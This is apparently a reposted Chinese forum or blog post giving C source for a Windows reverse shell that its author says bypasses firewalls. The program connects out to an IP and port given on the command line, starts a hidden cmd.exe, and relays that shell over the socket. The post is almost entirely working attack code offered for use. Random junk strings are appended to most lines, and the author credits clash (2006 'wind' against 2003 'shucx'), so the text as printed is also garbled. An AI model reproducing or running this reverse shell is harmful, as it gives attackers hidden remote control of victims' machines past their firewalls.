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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 FVHEb\Z  
4S+P]U*jW  
/* ============================== WJ/&Ag1  
Rebound port in Windows NT HhIa=,VY  
By wind,2006/7 tn:tM5m  
===============================*/ M|e@N  
#include Nhuw8Xv  
#include r1t  TY?  
c!6.D  
#pragma comment(lib,"wsock32.lib") rw58bkh6  
QCMt4`% 'u  
void OutputShell(); Q?Q!D+~mND  
SOCKET sClient; ^gD&NbP8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {:!*1L  
_d,_&7  
void main(int argc,char **argv) EK[~lIXg  
{ y/ vE  
WSADATA stWsaData; hoPCbjkov  
int nRet; hfVJg7-  
SOCKADDR_IN stSaiClient,stSaiServer; 9D-PmSnv  
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if(argc != 3) \vpUl  
{ -R| v&h%T  
printf("Useage:\n\rRebound DestIP DestPort\n"); !.kj-==s{7  
return; _PQQ&e)E  
} PYW~x@]k%,  
{QJJw}!#  
WSAStartup(MAKEWORD(2,2),&stWsaData); _?mu2!X  
V\4'Hd  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'V } -0  
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stSaiClient.sin_family = AF_INET; [N.4 i" Cd  
stSaiClient.sin_port = htons(0); FzW7MW>\x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8)'OXR0/  
l2z@t3{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  ig jr=e  
{ Pv/$ ;R%  
printf("Bind Socket Failed!\n"); <08)G7  
return; arRb q!mO  
} ZC@Pfba[`  
<D!"<&N  
stSaiServer.sin_family = AF_INET; qy/xJ>:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f D2. Zh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eUQrn>`  
XeJn,=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sYYNT*  
{ z'j4^Xz?%$  
printf("Connect Error!"); H $XO] \  
return; 7S}NV7  
} <V>]-bl/  
OutputShell(); _-$(=`8|<{  
} iTwb#Q=  
'de&9\  
void OutputShell() K>N\U@@8i  
{ 0EKi?vP@y7  
char szBuff[1024]; }k~ih?E^s  
SECURITY_ATTRIBUTES stSecurityAttributes; ;M1#M:  
OSVERSIONINFO stOsversionInfo; +9<"Y6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }&F|u0@b  
STARTUPINFO stStartupInfo; mA@FJK_  
char *szShell; ?^n),mR  
PROCESS_INFORMATION stProcessInformation; T1_O~<  
unsigned long lBytesRead; +<a-;e{  
`1{Y9JdQ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gE\&[;)DB  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .J"QW~g^  
stSecurityAttributes.lpSecurityDescriptor = 0; Uc^eIa@  
stSecurityAttributes.bInheritHandle = TRUE; n 9PYZxy  
0*]n#+=  
l|9' M'a  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Je5}Z.3m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u5;;s@{Ye4  
k#liYw I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @IhC:Yc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J}BN}|Y@2  
stStartupInfo.wShowWindow = SW_HIDE; w;W# 'pE  
stStartupInfo.hStdInput = hReadPipe; ;-#2p^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %PM&`c98z7  
"ngULpb{R  
GetVersionEx(&stOsversionInfo); {7'Wi$^F  
}IEwGoDwNs  
switch(stOsversionInfo.dwPlatformId) =h0vdi%{  
{ %;_94!(hC  
case 1: Xdh2  
szShell = "command.com"; cD6S;PSg  
break; 2. '` mGu  
default: 0xVw{k}1U  
szShell = "cmd.exe"; =HMa<"-8  
break; x<5ARK6\=  
} %|j`z?i|  
/9ctmW1!<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U}@xMt8@l  
*IX<&u#  
send(sClient,szMsg,77,0); v|\3FEu@  
while(1) `>)[UG!:|  
{ 2Pow-o*r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )G#mC0?PV  
if(lBytesRead) ];xDXQd  
{ qYoB;gp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^G|* =~_  
send(sClient,szBuff,lBytesRead,0); vMd3#@  
} 4>A|2+K\  
else ;3x*pjLG:Q  
{ b:Z&;A|"{  
lBytesRead=recv(sClient,szBuff,1024,0); Xii>?sA5Z"  
if(lBytesRead<=0) break; y+3+iT@i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); E75/EQ5p]p  
} v5>A1\  
} [?%q,>F  
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return; is }>+&_  
}
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